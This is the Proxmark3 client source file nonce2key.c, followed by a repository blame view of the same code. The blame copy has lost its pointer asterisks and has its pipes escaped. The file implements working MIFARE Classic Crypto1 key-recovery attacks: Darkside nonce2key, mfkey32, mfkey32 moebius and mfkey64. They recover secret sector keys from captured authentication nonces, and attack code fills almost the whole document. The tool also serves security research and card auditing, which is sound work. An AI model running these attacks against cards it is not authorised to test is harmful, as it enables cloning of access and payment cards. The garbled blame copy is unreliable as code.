[proxmark3-svn] / client / nonce2key / nonce2key.c

//-----------------------------------------------------------------------------
// Merlok - June 2011
// Roel - Dec 2009
// Unknown author
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// MIFARE Darkside hack
//-----------------------------------------------------------------------------

#include <inttypes.h>
#include <time.h>

#include "nonce2key.h"
#include "mifarehost.h"
#include "ui.h"
#include "util.h"
#include "crapto1/crapto1.h"

int compar_state(const void * a, const void * b) {
	// didn't work: (the result is truncated to 32 bits)
	//return (*(int64_t*)b - *(int64_t*)a);

	// better:
	if (*(int64_t*)b == *(int64_t*)a) return 0;
	else if (*(int64_t*)b > *(int64_t*)a) return 1;
	else return -1;
}

int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
  struct Crypto1State *state;
  uint32_t i, pos, rr, nr_diff, key_count;//, ks1, ks2;
  uint8_t bt, ks3x[8], par[8][8];
  uint64_t key_recovered;
  int64_t *state_s;
  static uint32_t last_uid;
  static int64_t *last_keylist;
  rr = 0;
  
  if (last_uid != uid && last_keylist != NULL)
  {
	free(last_keylist);
	last_keylist = NULL;
  }
  last_uid = uid;

  // Reset the last three significant bits of the reader nonce
  nr &= 0xffffff1f;
  
  PrintAndLog("\nuid(%08x) nt(%08x) par(%016" PRIx64") ks(%016" PRIx64") nr(%08" PRIx32")\n\n",uid,nt,par_info,ks_info,nr);

  for (pos=0; pos<8; pos++)
  {
    ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
    bt = (par_info >> (pos*8)) & 0xff;
    for (i=0; i<8; i++)
    {
      par[7-pos][i] = (bt >> i) & 0x01;
    }
  }

  printf("|diff|{nr}    |ks3|ks3^5|parity         |\n");
  printf("+----+--------+---+-----+---------------+\n");
  for (i=0; i<8; i++)
  {
    nr_diff = nr | i << 5;
    printf("| %02x |%08x|",i << 5, nr_diff);
    printf(" %01x |  %01x  |",ks3x[i], ks3x[i]^5);
    for (pos=0; pos<7; pos++) printf("%01x,", par[i][pos]);
    printf("%01x|\n", par[i][7]);
  }
  
	if (par_info==0)
		PrintAndLog("parity is all zero,try special attack!just wait for few more seconds...");
  
	state = lfsr_common_prefix(nr, rr, ks3x, par);
	state_s = (int64_t*)state;
	
	//char filename[50] ;
    //sprintf(filename, "nt_%08x_%d.txt", nt, nr);
    //printf("name %s\n", filename);
	//FILE* fp = fopen(filename,"w");
	for (i = 0; (state) && ((state + i)->odd != -1); i++)
	{
		lfsr_rollback_word(state+i, uid^nt, 0);
		crypto1_get_lfsr(state + i, &key_recovered);
		*(state_s + i) = key_recovered;
		//fprintf(fp, "%012" PRIx64 "\n",key_recovered);
	}
	//fclose(fp);
	
	if(!state)
		return 1;
	
	qsort(state_s, i, sizeof(*state_s), compar_state);
	*(state_s + i) = -1;
	
	//Create the intersection:
	if (par_info == 0 )
		if ( last_keylist != NULL)
		{
			int64_t *p1, *p2, *p3;
			p1 = p3 = last_keylist; 
			p2 = state_s;
			while ( *p1 != -1 && *p2 != -1 ) {
				if (compar_state(p1, p2) == 0) {
					printf("p1:%" PRIx64" p2:%" PRIx64 " p3:%" PRIx64" key:%012" PRIx64 "\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
					*p3++ = *p1++;
					p2++;
				}
				else {
					while (compar_state(p1, p2) == -1) ++p1;
					while (compar_state(p1, p2) == 1) ++p2;
				}
			}
			key_count = p3 - last_keylist;;
		}
		else
			key_count = 0;
	else
	{
		last_keylist = state_s;
		key_count = i;
	}
	
	printf("key_count:%d\n", key_count);

	// The list may still contain several key candidates. Test each of them with mfCheckKeys
	for (i = 0; i < key_count; i++) {
		uint8_t keyBlock[6];
		uint64_t key64;
		key64 = *(last_keylist + i);
		num_to_bytes(key64, 6, keyBlock);
		key64 = 0;
		if (!mfCheckKeys(0, 0, false, 1, keyBlock, &key64)) {
			*key = key64;
			free(last_keylist);
			last_keylist = NULL;
			if (par_info ==0)
				free(state);
			return 0;
		}
	}	

	
	free(last_keylist);
	last_keylist = state_s;
	
	return 1;
}

// 32 bit recover key from 2 nonces
bool mfkey32(nonces_t data, uint64_t *outputkey) {
	struct Crypto1State *s,*t;
	uint64_t outkey = 0;
	uint64_t key=0;     // recovered key
	uint32_t uid     = data.cuid;
	uint32_t nt      = data.nonce;  // first tag challenge (nonce)
	uint32_t nr0_enc = data.nr;  // first encrypted reader challenge
	uint32_t ar0_enc = data.ar;  // first encrypted reader response
	uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
	uint32_t ar1_enc = data.ar2; // second encrypted reader response
	clock_t t1 = clock();
	bool isSuccess = false;
	uint8_t counter=0;

	s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);

	for(t = s; t->odd | t->even; ++t) {
		lfsr_rollback_word(t, 0, 0);
		lfsr_rollback_word(t, nr0_enc, 1);
		lfsr_rollback_word(t, uid ^ nt, 0);
		crypto1_get_lfsr(t, &key);
		crypto1_word(t, uid ^ nt, 0);
		crypto1_word(t, nr1_enc, 1);
		if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
			//PrintAndLog("Found Key: [%012" PRIx64 "]",key);
			outkey = key;
			counter++;
			if (counter==20) break;
		}
	}
	isSuccess = (counter == 1);
	t1 = clock() - t1;
	//if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.0f ticks \nFound %d possible keys", (float)t1, counter);
	*outputkey = ( isSuccess ) ? outkey : 0;
	crypto1_destroy(s);
	/* //un-comment to save all keys to a stats.txt file 
	FILE *fout;
	if ((fout = fopen("stats.txt","ab")) == NULL) { 
		PrintAndLog("Could not create file name stats.txt");
		return 1;
	}
	fprintf(fout, "mfkey32,%d,%08x,%d,%s,%04x%08x,%.0Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t)(outkey>>32) & 0xFFFF,(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
	fclose(fout);
	*/
	return isSuccess;
}

bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey) {
	struct Crypto1State *s, *t;
	uint64_t outkey  = 0;
	uint64_t key 	   = 0;			     // recovered key
	uint32_t uid     = data.cuid;
	uint32_t nt0     = data.nonce;  // first tag challenge (nonce)
	uint32_t nr0_enc = data.nr;  // first encrypted reader challenge
	uint32_t ar0_enc = data.ar; // first encrypted reader response
	uint32_t nt1     = data.nonce2; // second tag challenge (nonce)
	uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
	uint32_t ar1_enc = data.ar2; // second encrypted reader response	
	bool isSuccess = false;
	int counter = 0;
	
	//PrintAndLog("Enter mfkey32_moebius");
	clock_t t1 = clock();

	s = lfsr_recovery32(ar0_enc ^ prng_successor(nt0, 64), 0);
  
	for(t = s; t->odd | t->even; ++t) {
		lfsr_rollback_word(t, 0, 0);
		lfsr_rollback_word(t, nr0_enc, 1);
		lfsr_rollback_word(t, uid ^ nt0, 0);
		crypto1_get_lfsr(t, &key);
		
		crypto1_word(t, uid ^ nt1, 0);
		crypto1_word(t, nr1_enc, 1);
		if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64))) {
			//PrintAndLog("Found Key: [%012" PRIx64 "]",key);
			outkey=key;
			++counter;
			if (counter==20)
				break;
		}
	}
	isSuccess	= (counter == 1);
	t1 = clock() - t1;
	//if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.0f ticks \nFound %d possible keys", (float)t1,counter);
	*outputkey = ( isSuccess ) ? outkey : 0;
	crypto1_destroy(s);
	/* // un-comment to output all keys to stats.txt
	FILE *fout;
	if ((fout = fopen("stats.txt","ab")) == NULL) { 
		PrintAndLog("Could not create file name stats.txt");
		return 1;
	}
	fprintf(fout, "moebius,%d,%08x,%d,%s,%04x%08x,%0.Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t) (outkey>>32),(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
	fclose(fout);
	*/
	return isSuccess;
}

int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){
	uint32_t uid    = le32toh(data);
	uint32_t nt     = le32toh(data+4);  // tag challenge
	uint32_t nr_enc = le32toh(data+8);  // encrypted reader challenge
	uint32_t ar_enc = le32toh(data+12); // encrypted reader response	
	uint32_t at_enc = le32toh(data+16);	// encrypted tag response
	return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey);
}

int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){
	uint64_t key 	= 0;				// recovered key
	uint32_t ks2;     					// keystream used to encrypt reader response
	uint32_t ks3;     					// keystream used to encrypt tag response
	struct Crypto1State *revstate;
	
	PrintAndLog("Enter mfkey64");
	clock_t t1 = clock();
	
	// Extract the keystream from the messages
	ks2 = ar_enc ^ prng_successor(nt, 64);
	ks3 = at_enc ^ prng_successor(nt, 96);
	revstate = lfsr_recovery64(ks2, ks3);
	lfsr_rollback_word(revstate, 0, 0);
	lfsr_rollback_word(revstate, 0, 0);
	lfsr_rollback_word(revstate, nr_enc, 1);
	lfsr_rollback_word(revstate, uid ^ nt, 0);
	crypto1_get_lfsr(revstate, &key);
	PrintAndLog("Found Key: [%012" PRIx64 "]", key);
	crypto1_destroy(revstate);
	*outputkey = key;
	
	t1 = clock() - t1;
	if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.0f ticks \n", (float)t1);
	return 0;
}
Commit	Line	Data
f89c7050 M	1	//-----------------------------------------------------------------------------
	2	// Merlok - June 2011
	3	// Roel - Dec 2009
	4	// Unknown author
	5	//
	6	// This code is licensed to you under the terms of the GNU GPL, version 2 or,
	7	// at your option, any later version. See the LICENSE.txt file for the text of
	8	// the license.
	9	//-----------------------------------------------------------------------------
	10	// MIFARE Darkside hack
	11	//-----------------------------------------------------------------------------
	12
125a98a1	13	#include <inttypes.h>
7cb8516c	14	#include <time.h>
125a98a1	15
f89c7050	16	#include "nonce2key.h"
b19bd5d6	17	#include "mifarehost.h"
f89c7050	18	#include "ui.h"
7cb8516c	19	#include "util.h"
33443e7c	20	#include "crapto1/crapto1.h"
f89c7050	21
b19bd5d6	22	int compar_state(const void * a, const void * b) {
	23	// didn't work: (the result is truncated to 32 bits)
	24	//return ((int64_t)b - (int64_t)a);
	25
	26	// better:
	27	if ((int64_t)b == (int64_t)a) return 0;
	28	else if ((int64_t)b > (int64_t)a) return 1;
	29	else return -1;
	30	}
	31
1c611bbd	32	int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
b19bd5d6	33	struct Crypto1State *state;
b19bd5d6	34	uint32_t i, pos, rr, nr_diff, key_count;//, ks1, ks2;
33443e7c	35	uint8_t bt, ks3x[8], par[8][8];
f89c7050	36	uint64_t key_recovered;
b19bd5d6	37	int64_t *state_s;
	38	static uint32_t last_uid;
	39	static int64_t *last_keylist;
1c611bbd	40	rr = 0;
f89c7050	41
7d231391	42	if (last_uid != uid && last_keylist != NULL)
b19bd5d6	43	{
	44	free(last_keylist);
	45	last_keylist = NULL;
	46	}
	47	last_uid = uid;
	48
f89c7050 M	49	// Reset the last three significant bits of the reader nonce
	50	nr &= 0xffffff1f;
	51
43534cba	52	PrintAndLog("\nuid(%08x) nt(%08x) par(%016" PRIx64") ks(%016" PRIx64") nr(%08" PRIx32")\n\n",uid,nt,par_info,ks_info,nr);
f89c7050 M	53
	54	for (pos=0; pos<8; pos++)
	55	{
	56	ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
	57	bt = (par_info >> (pos*8)) & 0xff;
	58	for (i=0; i<8; i++)
	59	{
	60	par[7-pos][i] = (bt >> i) & 0x01;
	61	}
	62	}
	63
	64	printf("\|diff\|{nr} \|ks3\|ks3^5\|parity \|\n");
	65	printf("+----+--------+---+-----+---------------+\n");
	66	for (i=0; i<8; i++)
	67	{
	68	nr_diff = nr \| i << 5;
	69	printf("\| %02x \|%08x\|",i << 5, nr_diff);
	70	printf(" %01x \| %01x \|",ks3x[i], ks3x[i]^5);
	71	for (pos=0; pos<7; pos++) printf("%01x,", par[i][pos]);
	72	printf("%01x\|\n", par[i][7]);
	73	}
	74
b19bd5d6	75	if (par_info==0)
	76	PrintAndLog("parity is all zero,try special attack!just wait for few more seconds...");
	77
33443e7c	78	state = lfsr_common_prefix(nr, rr, ks3x, par);
b19bd5d6	79	state_s = (int64_t*)state;
	80
	81	//char filename[50] ;
	82	//sprintf(filename, "nt_%08x_%d.txt", nt, nr);
	83	//printf("name %s\n", filename);
	84	//FILE* fp = fopen(filename,"w");
	85	for (i = 0; (state) && ((state + i)->odd != -1); i++)
bfaecce6	86	{
b19bd5d6	87	lfsr_rollback_word(state+i, uid^nt, 0);
	88	crypto1_get_lfsr(state + i, &key_recovered);
	89	*(state_s + i) = key_recovered;
43534cba	90	//fprintf(fp, "%012" PRIx64 "\n",key_recovered);
bfaecce6	91	}
b19bd5d6	92	//fclose(fp);
bfaecce6	93
b19bd5d6	94	if(!state)
b19bd5d6	95	return 1;
f89c7050	96
b19bd5d6	97	qsort(state_s, i, sizeof(*state_s), compar_state);
	98	*(state_s + i) = -1;
	99
	100	//Create the intersection:
	101	if (par_info == 0 )
	102	if ( last_keylist != NULL)
	103	{
	104	int64_t p1, p2, *p3;
	105	p1 = p3 = last_keylist;
	106	p2 = state_s;
	107	while ( p1 != -1 && p2 != -1 ) {
	108	if (compar_state(p1, p2) == 0) {
43534cba	109	printf("p1:%" PRIx64" p2:%" PRIx64 " p3:%" PRIx64" key:%012" PRIx64 "\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
b19bd5d6	110	p3++ = p1++;
	111	p2++;
	112	}
	113	else {
	114	while (compar_state(p1, p2) == -1) ++p1;
	115	while (compar_state(p1, p2) == 1) ++p2;
	116	}
	117	}
	118	key_count = p3 - last_keylist;;
	119	}
	120	else
	121	key_count = 0;
	122	else
	123	{
	124	last_keylist = state_s;
	125	key_count = i;
	126	}
	127
	128	printf("key_count:%d\n", key_count);
7d231391	129
b19bd5d6	130	// The list may still contain several key candidates. Test each of them with mfCheckKeys
	131	for (i = 0; i < key_count; i++) {
	132	uint8_t keyBlock[6];
	133	uint64_t key64;
	134	key64 = *(last_keylist + i);
	135	num_to_bytes(key64, 6, keyBlock);
	136	key64 = 0;
5330f532	137	if (!mfCheckKeys(0, 0, false, 1, keyBlock, &key64)) {
b19bd5d6	138	*key = key64;
	139	free(last_keylist);
	140	last_keylist = NULL;
	141	if (par_info ==0)
	142	free(state);
	143	return 0;
	144	}
	145	}
	146
	147
	148	free(last_keylist);
	149	last_keylist = state_s;
	150
	151	return 1;
f89c7050	152	}
7314995a	153
7314995a	154	// 32 bit recover key from 2 nonces
c872d8c1	155	bool mfkey32(nonces_t data, uint64_t *outputkey) {
7314995a	156	struct Crypto1State s,t;
c872d8c1	157	uint64_t outkey = 0;
7314995a	158	uint64_t key=0; // recovered key
c872d8c1	159	uint32_t uid = data.cuid;
	160	uint32_t nt = data.nonce; // first tag challenge (nonce)
	161	uint32_t nr0_enc = data.nr; // first encrypted reader challenge
	162	uint32_t ar0_enc = data.ar; // first encrypted reader response
	163	uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
	164	uint32_t ar1_enc = data.ar2; // second encrypted reader response
	165	clock_t t1 = clock();
7cb8516c	166	bool isSuccess = false;
c872d8c1	167	uint8_t counter=0;
7314995a	168
	169	s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
	170
	171	for(t = s; t->odd \| t->even; ++t) {
	172	lfsr_rollback_word(t, 0, 0);
	173	lfsr_rollback_word(t, nr0_enc, 1);
	174	lfsr_rollback_word(t, uid ^ nt, 0);
	175	crypto1_get_lfsr(t, &key);
	176	crypto1_word(t, uid ^ nt, 0);
	177	crypto1_word(t, nr1_enc, 1);
	178	if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
43534cba	179	//PrintAndLog("Found Key: [%012" PRIx64 "]",key);
c872d8c1	180	outkey = key;
	181	counter++;
	182	if (counter==20) break;
7314995a	183	}
7314995a	184	}
c872d8c1	185	isSuccess = (counter == 1);
	186	t1 = clock() - t1;
	187	//if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.0f ticks \nFound %d possible keys", (float)t1, counter);
	188	*outputkey = ( isSuccess ) ? outkey : 0;
	189	crypto1_destroy(s);
ef3f88bc	190	/* //un-comment to save all keys to a stats.txt file
c872d8c1	191	FILE *fout;
	192	if ((fout = fopen("stats.txt","ab")) == NULL) {
	193	PrintAndLog("Could not create file name stats.txt");
	194	return 1;
	195	}
bbd11876	196	fprintf(fout, "mfkey32,%d,%08x,%d,%s,%04x%08x,%.0Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t)(outkey>>32) & 0xFFFF,(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
c872d8c1	197	fclose(fout);
ef3f88bc	198	*/
c872d8c1	199	return isSuccess;
c872d8c1	200	}
7314995a	201
c872d8c1	202	bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey) {
	203	struct Crypto1State s, t;
	204	uint64_t outkey = 0;
	205	uint64_t key = 0; // recovered key
	206	uint32_t uid = data.cuid;
	207	uint32_t nt0 = data.nonce; // first tag challenge (nonce)
	208	uint32_t nr0_enc = data.nr; // first encrypted reader challenge
	209	uint32_t ar0_enc = data.ar; // first encrypted reader response
c872d8c1	210	uint32_t nt1 = data.nonce2; // second tag challenge (nonce)
	211	uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
	212	uint32_t ar1_enc = data.ar2; // second encrypted reader response
7cb8516c	213	bool isSuccess = false;
c872d8c1	214	int counter = 0;
	215
	216	//PrintAndLog("Enter mfkey32_moebius");
	217	clock_t t1 = clock();
	218
	219	s = lfsr_recovery32(ar0_enc ^ prng_successor(nt0, 64), 0);
	220
	221	for(t = s; t->odd \| t->even; ++t) {
	222	lfsr_rollback_word(t, 0, 0);
	223	lfsr_rollback_word(t, nr0_enc, 1);
	224	lfsr_rollback_word(t, uid ^ nt0, 0);
	225	crypto1_get_lfsr(t, &key);
	226
	227	crypto1_word(t, uid ^ nt1, 0);
	228	crypto1_word(t, nr1_enc, 1);
	229	if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64))) {
43534cba	230	//PrintAndLog("Found Key: [%012" PRIx64 "]",key);
c872d8c1	231	outkey=key;
	232	++counter;
	233	if (counter==20)
	234	break;
	235	}
	236	}
	237	isSuccess = (counter == 1);
	238	t1 = clock() - t1;
	239	//if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.0f ticks \nFound %d possible keys", (float)t1,counter);
	240	*outputkey = ( isSuccess ) ? outkey : 0;
	241	crypto1_destroy(s);
ef3f88bc	242	/* // un-comment to output all keys to stats.txt
c872d8c1	243	FILE *fout;
	244	if ((fout = fopen("stats.txt","ab")) == NULL) {
	245	PrintAndLog("Could not create file name stats.txt");
	246	return 1;
	247	}
bbd11876	248	fprintf(fout, "moebius,%d,%08x,%d,%s,%04x%08x,%0.Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t) (outkey>>32),(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
c872d8c1	249	fclose(fout);
ef3f88bc	250	*/
c872d8c1	251	return isSuccess;
	252	}
	253
	254	int tryMfk64_ex(uint8_t data, uint64_t outputkey){
	255	uint32_t uid = le32toh(data);
	256	uint32_t nt = le32toh(data+4); // tag challenge
	257	uint32_t nr_enc = le32toh(data+8); // encrypted reader challenge
	258	uint32_t ar_enc = le32toh(data+12); // encrypted reader response
	259	uint32_t at_enc = le32toh(data+16); // encrypted tag response
	260	return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey);
	261	}
	262
	263	int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){
	264	uint64_t key = 0; // recovered key
	265	uint32_t ks2; // keystream used to encrypt reader response
	266	uint32_t ks3; // keystream used to encrypt tag response
	267	struct Crypto1State *revstate;
	268
	269	PrintAndLog("Enter mfkey64");
	270	clock_t t1 = clock();
	271
	272	// Extract the keystream from the messages
	273	ks2 = ar_enc ^ prng_successor(nt, 64);
	274	ks3 = at_enc ^ prng_successor(nt, 96);
	275	revstate = lfsr_recovery64(ks2, ks3);
	276	lfsr_rollback_word(revstate, 0, 0);
	277	lfsr_rollback_word(revstate, 0, 0);
	278	lfsr_rollback_word(revstate, nr_enc, 1);
	279	lfsr_rollback_word(revstate, uid ^ nt, 0);
	280	crypto1_get_lfsr(revstate, &key);
43534cba	281	PrintAndLog("Found Key: [%012" PRIx64 "]", key);
c872d8c1	282	crypto1_destroy(revstate);
	283	*outputkey = key;
	284
	285	t1 = clock() - t1;
	286	if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.0f ticks \n", (float)t1);
7314995a	287	return 0;
7314995a	288	}
c872d8c1	289